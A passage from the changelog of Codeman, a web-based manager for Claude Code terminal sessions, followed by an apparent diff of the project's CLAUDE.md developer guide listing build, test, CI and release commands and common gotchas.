- Android virtual keyboard: space character was silently dropped on touch devices using GBoard / SwiftKey / similar IMEs. Root cause: the input-event handler in `terminal-ui.js` treated any whitespace-only textarea value as proof that xterm had already processed the input. A lone space (`' '.trim() === ''`) tripped this guard, so the space was consumed but never forwarded. Now skips only when the textarea is truly empty (or whitespace from a non-space key). Reported and diagnosed by @coolk8 in #79.
**Docs**
- `CLAUDE.md`: added Zod `.optional()`-vs-`null` gotcha (recurring trap from 0.6.3 / 0.6.4 incidents) and a more visible warning against running bare `npm test` (kills the host tmux session).
- `docs/local-echo-overlay-plan.md`: marked SHIPPED, corrected xterm version reference (v5.3.0 → `@xterm/xterm` ^6.0.0).
## 0.6.4
### Patch Changes
- Fix "Failed to enable respawn: Invalid request body" error when selecting infinity duration (∞) in the respawn modal. Frontend was sending `durationMinutes: null`, which Zod's `.optional()` schema rejected (it accepts `undefined` only). The body now omits the field when no duration is selected.
## 0.6.3
### Patch Changes
- **Fix**
- Allowlist `opusContext1mEnabled` in `SettingsUpdateSchema`. Without this entry, the strict schema rejected `PUT /api/settings {"opusContext1mEnabled":...}` with `INVALID_INPUT`, so the toggle's value never persisted across reloads. The frontend was already reading and writing this key (`settings-ui.js:336/1137`, `session-ui.js:340`), so saves were silently failing — users never noticed because the load path falls back to `false` on missing keys, hiding the bug. (#78)
## 0.6.2
### Patch Changes
- **Mobile UX**
- Resume Conversation list (welcome page) reworked for narrow screens: 2-line title clamp so more of the first prompt is visible; case-aware subtitle that renders `#caseName` (or `#caseName/sub`) when `workingDir` matches a known case, otherwise falls back to the directory basename; inline `⋯` toggle that expands a detail panel with full prompt, full path, timestamp, size, and short session id; `/Users/<user>/` now collapses to `~/` alongside `/home/<user>/`. (#77)
- Response viewer: ASCII diagram wrap toggle, dedicated mobile code-block layout, and chrome-stripping fallback when the model wraps its reply in extra markup. (#75)
- Mobile keyboard accessory bar no longer triggers vertical scroll. (#72)
**Sessions & settings**
- New `thinkingEffort` setting on session creation, with `xhigh` option and `/effort max` mobile shortcut. (#73)
- `thinkingEffort` is now allowlisted in `SettingsUpdateSchema` so it round-trips through PATCH /api/settings.
- `envOverrides` (`CLAUDE_CODE_*` / `OPENCODE_*`) are now passed to Claude via tmux env exports at spawn time instead of being written to `<case>/.claude/settings.local.json`. Eliminates UI/disk drift; the value lives on `Session._envOverrides`, is exported by `tmux-manager.buildEnvExports()`, and is persisted in `SessionState.envOverrides`. (#74)
**Fixes**
- Eye icon (active-session indicator) now follows `/clear` to the new Claude conversation instead of getting stuck on the previous transcript. (#76)
- `tmux-manager.reconcileSessions` now uses `|` as the field separator, fixing parsing when session names contain other delimiters. (#71)
**Docs**
- CLAUDE.md: added `npm run knip` to the dead-code sweep table and a `Common Gotchas` entry documenting the `envOverrides` → tmux export flow.
## 0.6.1
### Patch Changes
- Internal cleanup and release hygiene:
- **Dead-code sweep via knip**: added `knip.json` for dead-code detection and ran a full sweep — removed unused test files, unused scripts, and narrowed internal module exports to the minimum surface area actually consumed.
- **Lockfile drift prevention**: `version-packages` now runs `npm install --package-lock-only` and verifies the lockfile is in sync via `scripts/check-lockfile-sync.mjs`; CI runs the same check on every push/PR so version drift fails the build instead of reaching production. Resolves the `package-lock.json` / `package.json` version mismatch that shipped in 0.6.0.
- **Docs tightening**: archived 22 completed plan docs from `docs/`, corrected file/handler counts in `CLAUDE.md`, documented the lockfile step in the COM workflow, and removed footer redundancy.
## 0.6.0
### Minor Changes
- Community contributions from @aakhter:
- **feat (#66): Tab reorder shortcuts** — `Ctrl+Shift+{` and `Ctrl+Shift+}` move the active session tab left/right, matching WezTerm convention. Order persists across reloads via `saveSessionOrder()`.
- **feat (#67): Active tab visibility + Alt+N badges** — active tab now has a bright green border with color-matched glow, and the first 9 tabs display number badges hinting at the `Alt+N` switch shortcut. Badges update on reorder/rerender.
- **feat (#68): Clipboard API** — new `POST /api/clipboard` accepting `{text}` broadcasts a `clipboard:write` SSE event; connected browsers attempt `navigator.clipboard.writeText()` with a manual-copy modal fallback when the page isn't focused. Auth-protected via the standard middleware. Useful for pushing snippets from remote sessions to the user's local clipboard.
- **fix (#65): Android Shift+key double character** — pressing `Shift+A` on attached Android keyboards no longer produces "AA". Tracks xterm-handled keydown timestamps and skips the orphaned-input listener for 50ms after a real keydown, while still catching Gboard symbol-keyboard inputs (keyCode 229).
## 0.5.13
### Patch Changes
- Fix "Case path not found" error in Quick Start when `~/codeman-cases/` does not exist (issue #64). Two bugs in `session-ui.js`:
- `runClaude()` auto-create read `createCaseData.case`, but `POST /api/cases` returns `{ success, data: { case } }` — corrected to `createCaseData.data.case`.
- `runShell()` had no auto-create logic and would immediately throw on a missing case directory — now mirrors `runClaude()`'s create-on-demand flow.
## 0.5.12
### Patch Changes
- Fix quick-start to resolve linked cases before codeman-cases fallback. `/api/quick-start` was always resolving `caseName` against `CASES_DIR`, ignoring entries in `~/.codeman/linked-cases.json`. Sessions started via quick-start now correctly honour linked external project directories, consistent with regular case routes.
## 0.5.11
### Patch Changes
- Community contributions and security hardening:
- Mobile response viewer: native-scroll panel for reading full Claude responses with markdown rendering via marked.js (PR #62)
- PWA support: service worker caching, web app manifest, and Android home screen install (PR #59)
- Named Cloudflare tunnel support (PR #58)
- Markdown rendering for response viewer with HTML sanitization (XSS prevention) — strips dangerous elements, event handlers, and javascript: URIs
- Service worker switched from stale-while-revalidate to network-first caching so deploys take effect immediately
- Content-Disposition filename sanitization to prevent header injection in file downloads
- Expose session.muxName public getter, replace unsafe `as any` cast in session-routes
- Static import for execFile in session-routes
- Keyboard shortcut updates: Alt+1-9 tab switching, Shift+Enter newline
- Repo restructure for cleaner GitHub landing page
- Mobile logo, expandable history, session resume fixes
## 0.5.10
### Patch Changes
- fix: allow bracket characters in model validation regex so models like opus[1m] (1M context window) are accepted instead of silently dropped. Quote the model flag value in tmux spawn commands to prevent bash glob expansion of bracket patterns.
docs: update macOS launchd instructions to use `launchctl bootstrap` instead of deprecated `load`. Clean up README install and service sections.
## 0.5.9
### Patch Changes
- Mobile keyboard accessory bar: add configurable "Extended Keyboard Bar" setting (Settings > Display > Input) that toggles between simple mode (up/down arrows, /init, /clear, /compact, paste, dismiss) and extended mode (adds left/right arrows, Tab, Shift+Tab, Ctrl+O, Alt+Enter, Esc). Default is simple mode. Setting is device-specific (not synced to server).
Restyle dismiss button: muted steel-blue tone, fills remaining bar space via flex, larger tap target. Arrow buttons now blue.
Fix paste overlay visibility on mobile: dialog repositioned to top of screen (15vh from top) so the virtual keyboard doesn't cover it. Textarea enlarged for better usability.
(Also includes all v0.5.8 changes: case reorder/delete, XSS sanitization, auto-attach PTY on restart, mobile keyboard buttons, macOS installer fixes, terminal flicker fix, state store collision fix.)
## 0.5.8
### Patch Changes
- Case management: add Manage tab with reorder (up/down arrows) and delete for cases; linked cases are unlinked (folder preserved), CASES_DIR cases are permanently deleted. New endpoints: DELETE /api/cases/:name, PUT /api/cases/order. SSE events: case:deleted, case:order-changed.
Security: sanitize case names from filesystem with /^[a-zA-Z0-9_-]+$/ regex before returning from GET /api/cases to prevent XSS via maliciously-named directories reaching frontend inline onclick handlers.
Auto-attach PTY: server now calls startInteractive() for recovered tmux sessions during startup so all sessions resume capturing output immediately after deploy, instead of waiting for client selection. Frontend auto-attach condition relaxed from (pid===null && status==='idle') to (pid===null && !\_ended).
Mobile keyboard accessory: add Shift+Tab, Tab, Esc, Alt+Enter, Left/Right arrow, and Ctrl+O buttons.
Terminal: fix flicker regression by moving viewport clear inside dimension guard.
State store: fix temp file collisions on concurrent writes.
macOS: fix installer failures when piped via curl | bash, add HTML cache support, launchd service template, and trust dialog handling.
Housekeeping: remove accidentally committed dist/state-store.js build artifact.
## 0.5.7
### Patch Changes
- feat: support "Default (CLI default)" option for model selection. Adds a new empty-value option to the model dropdown that defers to the CLI's own default model instead of forcing a specific model. Ensures empty defaultModel values are treated as undefined when passed to session creation and Ralph loop start, preventing empty strings from being sent as model flags.
## 0.5.6
### Patch Changes
- fix: default new sessions to opus[1m] (1M context window) instead of plain opus (200k context)
## 0.5.5
### Patch Changes
- Add 1M Opus context quick setting — per-case and global toggle that writes `model: "opus[1m]"` to `.claude/settings.local.json` when creating new sessions. Fix mobile layout: banners (respawn, timer, orchestrator) between header and main content now visible by switching from margin-top on `.main` to padding-top on `.app`. Add tablet-optimized respawn banner styles and mobile phone banner refinements.
## 0.5.4
### Patch Changes
- Fix terminal flicker regression — re-add server-side DEC 2026 synchronized output wrapping around batched terminal data. Ink spinner frames (cursor-up + redraw cycles) do not emit their own DEC 2026 markers, so without the server wrapper each partial cursor update rendered individually causing visible flicker. Also: extract SSE stream management, session listener wiring, and respawn event wiring from server.ts into dedicated modules; deduplicate error message extraction across 7 files with shared getErrorMessage() helper; update SSE event count in CLAUDE.md (106 → 117).
## 0.5.3
### Patch Changes
- Readability refactor across 12 core files, extracting ~35 helper methods to reduce duplication:
- state-store: extract serializeState(), split assembleStateJson() into focused sub-methods
- session: extract \_resetBuffers() (3x dedup), \_clearAllTimers() (10 timer cleanups), \_handleJsonMessage()
- ralph-tracker: extract completeAllTodos() (4x dedup), emitValidationWarning(), named similarity constants
- subagent-watcher: extract markSubagentAsCompleted(), extractFirstTextContent(), emitToolResult(), findOldestInactiveAgent()
- respawn-controller: extract recoveryResetToWatching(), canAutoAccept(), formatRemainingSeconds(), validatePositiveTimeout()
- tmux-manager: replace 15 path.includes() with UNSAFE_PATH_CHARS regex, extract buildEnvExports/buildPathExport/\_configureOpenCode helpers
- session-auto-ops: extract executeWhenIdle() shared retry helper, convert to options object, add validateThreshold()
- app.js: add \_clearTimer() (11 call sites), \_isStaleSelect(), keyboard shortcut lookup table, \_cleanupPreviousSession(), \_resetAllAppState()
- route-helpers: add readJsonConfig() (5 inline patterns replaced), validateSessionFilePath() (2 duplicated blocks replaced)
## 0.5.2
### Patch Changes
- Make buffer size limits configurable via CODEMAN\_\* environment variables (MAX_TERMINAL_BUFFER, TRIM_TERMINAL_TO, MAX_TEXT_OUTPUT, TRIM_TEXT_TO, MAX_MESSAGES), falling back to existing defaults. Allows users with fewer sessions or more RAM to tune buffer sizes without patching source.
Fix duplicate terminal output on tab switch to busy sessions by clearing the terminal before writing the new buffer.
Fix stale Ink CUP frames after tab switch by sending Ctrl+L to force a clean redraw.
Fix mobile CJK input handling: resolve textarea positioning, terminal flicker during composition, and layout overflow on small screens. Improve CJK composition lifecycle with better event handling and fallback flush timers.
## 0.5.1
### Patch Changes
- refactor: codebase cleanup — extract route helpers, eliminate boilerplate, optimize hot paths
- Add `parseBody()` helper to route-helpers.ts: validates request body against Zod schema with structured 400 error on failure, replacing 37 identical safeParse + error-check blocks across 10 route files
- Add `persistAndBroadcastSession()` helper: combines persist + SessionUpdated broadcast into one call, replacing 5 repeated 2-line pairs
- Migrate session-routes.ts to use `findSessionOrFail()` consistently (17 inline session lookups replaced) and `parseBody()` (12 patterns)
- Migrate ralph-routes.ts to use `findSessionOrFail()` (9 lookups) and `parseBody()` (4 patterns)
- Migrate 8 remaining route files to use `parseBody()` (21 patterns total)
- Fix O(n log n) eviction in bash-tool-parser.ts: replace `Array.from().sort()[0]` with O(n) min-scan for oldest active tool
- Extract `_debouncedCall()` utility in frontend: replaces 4 manual debounce patterns (7 lines each → 1 line) in app.js, panels-ui.js, ralph-panel.js
- Net reduction: 208 lines removed across 16 files
## 0.5.0
### Minor Changes
- Visual redesign with glass morphism, refined colors, and polished UI. Optimize history endpoint with buffer reuse and line iterator. Fix Ink frame search window (4KB→64KB) to prevent partial frames. Fix stale terminal data on tab switch via chunkedTerminalWrite cancellation. Improve history prompt extraction with expanded command filtering and tail scan fallback. Align case select group height to match dropdown. Fix no-control-regex lint error for ANSI strip pattern. Add browser-testing-guide to CLAUDE.md references.
## 0.4.7
### Patch Changes
- feat: improve session navigability in history and monitor panel (closes #45)
- History items now show the first user prompt as the title with the project path as a subtitle, making it much easier to distinguish sessions from the same project
- The `/api/history/sessions` endpoint extracts the first user message from each transcript JSONL, stripping system-injected XML tags and command artifacts, truncating to 120 chars
- Monitor panel session rows are now clickable — clicking navigates directly to that session's tab via `selectSession()`; Kill button retains independent behavior via `stopPropagation()`
- Updated CLAUDE.md architecture tables to reflect Orchestrator Loop additions (14 route modules, 15 type files, orchestrator domain files, orchestrator-panel.js frontend module)
- fix: stop subagent monitor windows from auto-opening on discovery
- feat: add Orchestrator Loop with phased plan execution, live progress during plan generation, and toolbar button (hidden until fully tested)
- fix: patch 3 production bugs found during deep audit
- fix: restore mobile terminal scrollback using JS scrollLines() instead of broken native scroll
## 0.4.6
### Patch Changes
- Fix mobile keyboard scroll and layout issues:
- Prevent iOS Safari from scrolling the page when typing with the keyboard open (position:fixed on .app + window.scroll reset)
- Eliminate dead space between terminal and keyboard accessory bar by removing redundant CSS padding, tightening JS padding constant, and adding row quantization gap compensation
- Fix toolbar overlapping terminal content when keyboard is hidden by adding proper padding-bottom to .main, including iOS Safari bottom bar offset
- Strip Ink spinner bloat from terminal buffer before tailing
- Fix resolveCasePath priority order and suppress JSON parse warnings
## 0.4.5
### Patch Changes
- Fix mobile keyboard toolbar positioning on iOS Safari: toolbar (Run/Stop/Run Shell) was hidden behind the accessory bar when virtual keyboard was active due to overlapping CSS positions. Remove the aggressive safety check in `updateLayoutForKeyboard()` that incorrectly dismissed keyboard state when iOS scrolled the visual viewport during typing. Add Safari-bar CSS offset to accessory bar so it properly stacks above the toolbar. Remove the double-counted Safari-bar offset when keyboard is visible since the JS transform already covers the full distance.
## 0.4.4
### Patch Changes
- fix: mobile keyboard hides terminal content on iPhone
Fixed a bug where opening the virtual keyboard on iPhone left zero visible terminal space. Two independent mechanisms were both accounting for the keyboard height: `MobileDetection.updateAppHeight()` shrunk `--app-height` to the visual viewport height, while `KeyboardHandler.updateLayoutForKeyboard()` added a large `paddingBottom`. These double-counted, leaving negative space for the terminal (user saw accessory bar + toolbar but no terminal content).
Fix: `updateAppHeight()` now skips when the keyboard is visible, and `handleViewportResize()` restores `--app-height` to the pre-keyboard value on first detection (since MobileDetection's listener fires before KeyboardHandler's). On keyboard close, `--app-height` is re-synced to the current visual viewport.
## 0.4.3
### Patch Changes
- Refactor case routes: extract readLinkedCases() and resolveCasePath() helpers to eliminate 6x duplicated linked-cases.json path construction and 5x duplicated file read/parse logic. Replace O(n) .some() duplicate check with O(1) Set.has() in case listing. Un-export unused isError() type guard. Standardize reply.status() to reply.code() in system routes. Update CLAUDE.md frontend module listing and SSE event count.
## 0.4.2
### Patch Changes
- Extract monolithic app.js (~12.5K lines) into 6 focused domain modules that extend CodemanApp.prototype via Object.assign: terminal-ui.js (terminal setup, rendering pipeline, controls), respawn-ui.js (respawn banner, countdown, presets, run summary), ralph-panel.js (Ralph state panel, fix_plan, plan versioning), settings-ui.js (app settings, visibility, web push, tunnel/QR, help), panels-ui.js (subagent panel, teams, insights, file browser, log viewer), session-ui.js (quick start, session options, case settings). Fix critical deferred script init ordering bug: wrap CodemanApp instantiation in DOMContentLoaded so all defer'd mixin modules execute their Object.assign before the constructor runs. Guard missing cleanupWizardDragging() call in subagent-windows.js. Update build.mjs to minify/hash all new modules.
## 0.4.1
### Patch Changes
- Performance optimizations: V8 compile cache for 10-20% faster cold starts, lazy-load WebGL addon (244KB saved on mobile), preload hints for critical scripts, batch tmux reconciliation (N subprocess calls → 1). Also: WebSocket session lifecycle fixes, CJK IME input support, CI upgrade to Node 24/actions v6, install.sh fork support, and CLAUDE.md/README documentation refresh.
## 0.4.0
### Minor Changes
- Add CJK IME input textarea for xterm.js terminal (env toggle INPUT_CJK_FORM=ON). Always-visible textarea below terminal handles native browser IME composition, forwarding completed text to PTY on Enter. Supports arrow keys, Ctrl combos, backspace passthrough, and Escape to clear.
Add fork installation support to install.sh with CODEMAN_REPO_URL and CODEMAN_BRANCH env vars, allowing custom repository and branch for git clone/update operations. README updated with fork installation instructions.
Fix WebSocket session lifecycle: close WS connections when session exits (prevents orphaned listeners and stale writes to dead PTY), add readyState guard in onTerminal to stop buffering after socket closes, simplify heartbeat by removing redundant alive flag.
Add WebSocket reconnection with exponential backoff (1s-10s) on unexpected close, skipping server rejection codes (4004/4008/4009). Falls back gracefully to SSE+POST during reconnection.
Clear CJK textarea on session switch to prevent sending stale text to wrong session.
## 0.3.12
### Patch Changes
- Add WebSocket terminal I/O with server-side DEC 2026 synchronized update markers. Replaces per-keystroke HTTP POST + SSE terminal output with a single bidirectional WebSocket connection for dramatically lower input latency. Server-side 8ms micro-batching with 16KB flush threshold groups rapid PTY events into single WS frames wrapped in DEC 2026 markers for flicker-free atomic rendering. Includes 30s ping/pong heartbeat with 10s timeout for stale connection detection through tunnels. Existing SSE + HTTP POST paths remain fully functional as transparent fallback. Resize messages validated to match HTTP route bounds (cols 1-500, rows 1-200, integers only). 16 automated route tests added for WS endpoint. Also patches 5 dependency vulnerabilities (basic-ftp, fastify, minimatch, serialize-javascript).
## 0.3.11
### Patch Changes
- ### Session Resume & History
- Add `resumeSessionId` support for conversation resume after reboot
- Add history session resume UI and API with route shell sessions routing fix
- Improve session resume reliability and persist user settings across refresh
- Correct `claudeSessionId` for resumed sessions
### Terminal & Frontend
- Upgrade xterm.js 5.3 → 6.0 with native DEC 2026 synchronized output
- Increase terminal scrollback from 5,000 to 20,000 lines
- Reduce default font size and persist tab state across refresh
- Resolve terminal resize scrollback ghost renders
- Hide subagent monitor panel by default
### Installer
- Auto-detect existing install and run update instead of fresh install
- Auto-restart codeman-web service after update if running
- Show restart command when codeman-web is not a systemd service
- Fix one-liner restart command for background processes
### Codebase Quality
- Remove dead code, consolidate imports, extract constants
- Repair 15 pre-existing subagent-watcher test failures
- Clean up DEC sync dead code
## 0.3.10
### Patch Changes
- - feat: upgrade xterm.js from 5.3 to 6.0 with native DEC 2026 synchronized output support
- feat: add history session resume UI and API — resume Claude conversations after reboot
- feat: add resumeSessionId support for conversation resume across session restarts
- feat: persist active tabs across page refresh
- feat: improve session resume reliability and persist user settings
- perf: increase terminal scrollback from 5,000 to 20,000 lines
- fix: resolve terminal resize scrollback ghost renders
- fix: route shell sessions to correct endpoint on tab click
- fix: correct claudeSessionId for resumed sessions (use original Claude conversation ID)
- fix: increase default desktop font size from 12 to 14
- refactor: extract shared \_fetchHistorySessions() method to eliminate duplication
- refactor: remove dead DEC 2026 sync code (extractSyncSegments, DEC_SYNC_START/END constants)
## 0.3.9
### Patch Changes
- Add content-hash cache busting for static assets — build step now renames JS/CSS files with MD5 content hashes (e.g. app.js → app.94b71235.js) and rewrites index.html references. HTML served with Cache-Control: no-cache so browsers always revalidate and pick up new hashed filenames after deploys. Hashed assets keep immutable 1-year cache. Eliminates the need for manual hard refresh (Ctrl+Shift+R) after deployments.
Refactor path traversal validation into shared validatePathWithinBase() helper in route-helpers.ts, replacing 6 duplicate inline checks across case-routes, plan-routes, and session-routes.
Deduplicate stripAnsi in bash-tool-parser.ts — use shared utility from utils/index.ts instead of private method.
## 0.3.8
### Patch Changes
- Add tunnel status indicator with control panel — green pulsing dot in header when Cloudflare tunnel is active, dropdown with URL, remote clients, auth sessions, and start/stop/QR/revoke controls
## 0.3.7
### Patch Changes
- Operation Lightspeed: 5 parallel performance optimizations — multi-layer backpressure to prevent terminal write freezes, TERMINAL_TAIL_SIZE constant with client-drop recovery, tab switching SSE gating, and local echo improvements
- Codebase cleanup: remove dead code (unused token validation exports, PlanPhase alias), add execPattern() regex helper to eliminate repetitive .lastIndex resets, centralize 11 magic number constants into config files, fix CLAUDE.md inaccuracies, and add 316 new tests for utilities, respawn helpers, and system-routes
## 0.3.6
### Patch Changes
- Re-enable WebGL renderer with 48KB/frame flush cap protection against GPU stalls
## 0.3.5
### Patch Changes
- Fix Chrome "page unresponsive" crashes caused by xterm.js WebGL renderer GPU stalls during heavy terminal output. Disable WebGL by default (canvas renderer used instead), gate SSE terminal writes during tab switches, and add crash diagnostics with server-side breadcrumb collection.
## 0.3.4
### Patch Changes
- Fix Chrome tab freeze from flicker filter buffer accumulation during active sessions, and fix shell mode feedback delay by excluding shell sessions from cursor-up filter
## 0.3.3
### Patch Changes
- fix: eliminate WebGL re-render flicker during tab switch by keeping renderer active instead of toggling it off/on around large buffer writes
## 0.3.2
### Patch Changes
+110 -69
View File
@@ -6,11 +6,12 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
| Task | Command |
|------|---------|
| Dev server | `npx tsx src/index.ts web` |
| Dev server | `npm run dev` (or `npx tsx src/index.ts web`) |
| Type check | `tsc --noEmit` |
| Lint | `npm run lint` (fix: `npm run lint:fix`) |
| Format | `npm run format` (check: `npm run format:check`) |
| Single test | `npx vitest run test/<file>.test.ts` |
| Single test | `npm test -- test/<file>.test.ts` (or `npx vitest run --config config/vitest.config.ts test/<file>.test.ts`) — ⚠ **never** run bare `npm test`, see Testing section |
| Build | `npm run build` (esbuild via `scripts/build.mjs`, NOT tsc — `tsc --noEmit` is type-check only) |
| Production | `npm run build && systemctl --user restart codeman-web` |
## CRITICAL: Session Safety
@@ -29,11 +30,11 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
2. **Frontend changes**: Use Playwright to load the page and assert the UI renders correctly. Use `waitUntil: 'domcontentloaded'` (not `networkidle` — SSE keeps the connection open). Wait 3-4s for polling/async data to populate, then check element visibility, text content, and CSS values
3. **Only after verification passes**, proceed with COM
The production server caches static files for 1 year (`maxAge: '1y'` in `server.ts`). After deploying frontend changes, users may need a hard refresh (Ctrl+Shift+R) to see updates.
The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an *absolute* URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.
## COM Shorthand (Deployment)
Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@changesets/cli`.
Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@changesets/cli`. What SemVer actually covers (the CLI + documented env vars are public; the HTTP/SSE API, on-disk state, and experimental features are internal/unstable) is defined in `docs/versioning-policy.md`. Security reporting + known limitations live in `SECURITY.md`.
When user says "COM":
1. **Determine bump type**: `COM` = patch (default), `COM minor` = minor, `COM major` = major
@@ -44,50 +45,70 @@ When user says "COM":
"aicodeman": patch
---
Description of changes
Detailed description of ALL changes since last release (not just the most recent commit — review full git log since last version tag)
CHANGESET
```
Replace `patch` with `minor` or `major` as needed. Include `"xterm-zerolag-input": patch` on a separate line if that package changed too.
3. **Consume the changeset**: `npm run version-packages` (bumps versions in `package.json` files and updates `CHANGELOG.md`)
3. **Consume the changeset**: `npm run version-packages` (auto-bumps `package.json` files, updates `CHANGELOG.md`, runs `npm install --package-lock-only`, and verifies lockfile sync via `scripts/check-lockfile-sync.mjs` — all in one command; never hand-edit `CHANGELOG.md` or `package-lock.json` versions)
4. **Sync CLAUDE.md version**: Update the `**Version**` line below to match the new version from `package.json`
5. **Commit and deploy**: `git add -A && git commit -m "chore: version packages" && git push && npm run build && systemctl --user restart codeman-web`
6. **Wait for CI**: after `git push`, find the run with `gh run list -L 1 --json databaseId,headBranch -q '.[0].databaseId'` and watch it with `gh run watch <id> --exit-status`. Confirm all checks pass before considering the release done.
**Version**: 0.3.2 (must match `package.json`)
CI runs `npm run check:lockfile` on every push/PR, so lockfile drift fails the build even if the `version-packages` script is bypassed.
**Version**: 1.1.3 (must match `package.json`)
## Project Overview
Codeman is a Claude Code session manager with web interface and autonomous Ralph Loop. Spawns Claude CLI via PTY, streams via SSE, supports respawn cycling for 24+ hour autonomous runs.
**Tech Stack**: TypeScript (ES2022/NodeNext, strict mode), Node.js, Fastify, node-pty, xterm.js. Supports both Claude Code and OpenCode AI CLIs via pluggable CLI resolvers.
**Tech Stack**: TypeScript (ES2022/NodeNext, strict mode), Node.js, Fastify, node-pty, xterm.js. Supports Claude Code, OpenCode, and Codex (OpenAI) CLIs via pluggable CLI resolvers (`SessionMode = 'claude' | 'shell' | 'opencode' | 'codex'`).
**TypeScript Strictness** (see `tsconfig.json`): `noUnusedLocals`, `noUnusedParameters`, `noImplicitReturns`, `noImplicitOverride`, `noFallthroughCasesInSwitch`, `allowUnreachableCode: false`, `allowUnusedLabels: false`.
**Requirements**: Node.js 18+, Claude CLI, tmux
**Requirements**: Node.js 22+, Claude CLI, tmux
**Git**: Main branch is `master`. SSH session chooser: `sc` (interactive), `sc 2` (quick attach), `sc -l` (list).
## Additional Commands
`npm run dev` = dev server. Default port: `3000`. Commands not in Quick Reference:
`npm run dev` = dev server. Default port: `3000` (override with `--port` or the `CODEMAN_PORT` env var). To run this beta isolated alongside a prod Codeman, use `scripts/run-beta.sh` (sets `CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`). Commands not in Quick Reference:
| Task | Command |
|------|---------|
| Dev with TLS | `npx tsx src/index.ts web --https` |
| Override window title hostname | `npx tsx src/index.ts web --title-hostname <name>` (default: `os.hostname()` — `codeman:<name>` is used for tab title, title-flash, and OS desktop notification prefix) |
| Bind a non-loopback host | `npx tsx src/index.ts web --host 0.0.0.0` (or `-H`; env `CODEMAN_HOST`; default `127.0.0.1`). Without `CODEMAN_PASSWORD` it **starts but warns loudly** — see Common Gotchas + `docs/security-architecture.md` |
| Continuous typecheck | `tsc --noEmit --watch` |
| Test coverage | `npm run test:coverage` |
| Dead-code sweep | `npm run knip` (config in `knip.json`) |
| Rebuild gesture overlay | `npm run build:gesture` (esbuild `packages/gesture-control/src/codeman/entry.ts` → `src/web/public/gesture/gesture-codeman.js`; commit the result) |
| Gesture playground | `npm run dev` **in** `packages/gesture-control/` (standalone vite demo, fake tabs) |
| Check public-asset formatting | `npm run check:public-assets` (prettier-checks `src/web/public/**` text assets; `scripts/check-public-assets.mjs`) |
| Frontend JS syntax check | `npm run check:frontend-syntax` (`scripts/check-frontend-syntax.mjs`; runs in CI) |
| CI-equivalent test sweep | `npm run test:ci` (full suite minus browser/perf — see Testing) |
| Production start | `npm run start` |
| Production logs | `journalctl --user -u codeman-web -f` |
**CI**: `.github/workflows/ci.yml` runs `typecheck`, `lint`, `format:check` on push to master (Node 22). Tests excluded (they spawn tmux).
**CI**: `.github/workflows/ci.yml` (push to master/main + PRs, Node 22) runs two jobs: **(1)** `check:lockfile`, `typecheck`, `lint`, `check:frontend-syntax`, `format:check`, then a **server boot smoke test** (`tsx src/index.ts web --port 3151` must answer `/api/status` within 30s); **(2)** the **unit/integration test suite** via `npm run test:ci` (`config/vitest.ci.config.ts` — excludes the browser-driven `test/mobile/**` suite, `perf-*` benchmarks, and 3 Playwright tests). Tests are tmux-safe in CI: `TmuxManager` no-ops all shell commands under `VITEST` (see Testing).
**Code style**: Prettier (`singleQuote: true`, `printWidth: 120`, `trailingComma: "es5"`). ESLint allows `no-console`, warns on `@typescript-eslint/no-explicit-any`. Does not lint `app.js` or `scripts/**/*.mjs`.
**Code style**: Prettier (`singleQuote: true`, `printWidth: 120`, `trailingComma: "es5"`). ESLint flat config (`config/eslint.config.js`) allows `no-console`, warns on `@typescript-eslint/no-explicit-any`. Ignores: `app.js`, `scripts/**/*.mjs`, `src/web/public/vendor/**`, `scripts/remotion/**`.
## Common Gotchas
- **Single-line prompts only** — `writeViaMux()` sends text+Enter separately; multi-line breaks Ink
- **ESM only** — Never `require()`, use `await import()`. `tsx` masks CJS/ESM issues in dev but production breaks
- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly
- **Global regex `lastIndex`** — Use `createAnsiPatternFull/Simple()` factories, not shared `g`-flag patterns in loops
- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly. Both `aicodeman` and `codeman` bin aliases are installed (`package.json` `bin`)
- **Global regex `lastIndex`** — Shared `g`-flag patterns in loops must reset `lastIndex = 0` first, or use the `execPattern()` helper in `utils/regex-patterns.ts` (resets automatically)
- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift
- **Effort is NOT an env var** — never carry effort as `CLAUDE_CODE_EFFORT_LEVEL`: the env var hard-locks effort and blocks in-session `/effort` switching (incl. ultracode). It flows as the dedicated `effort` payload field → `Session._effort` → `claude --effort <level>` for regular levels incl. `max` (the settings `effortLevel` key is `enum(["low","medium","high","xhigh"]).catch(undefined)` — `max` gets SILENTLY dropped there), or `claude --settings '{"ultracode":true}'` for ultracode (rejected by `--effort`). Both are soft defaults the user can override anytime. Legacy env-var entries are auto-migrated by the Session constructor and unset from tmux sessions in `applyEnvOverrides()`. See `buildEffortCliArgs()` in `session-cli-builder.ts`, tests in `test/effort-injection.test.ts`
- **Model choice flows via `settings.local.json`, NOT `--model` or env** — the App Settings **Claude Model** picker (`claudeModel` in `settings.json`) is read by `session-ui.js` at session create (wins over the legacy 1M-Opus toggles `opusContext1m`/`opusContext1mEnabled`), sent as the `modelOverride` payload field, and `updateCaseModel()` (`hooks-config.ts`) writes/deletes the `model` key in `<case>/.claude/settings.local.json`. This is the intended exception to the envOverrides rule above: model legitimately lives in `settings.local.json` (a soft default — in-session `/model` still works); env vars do not
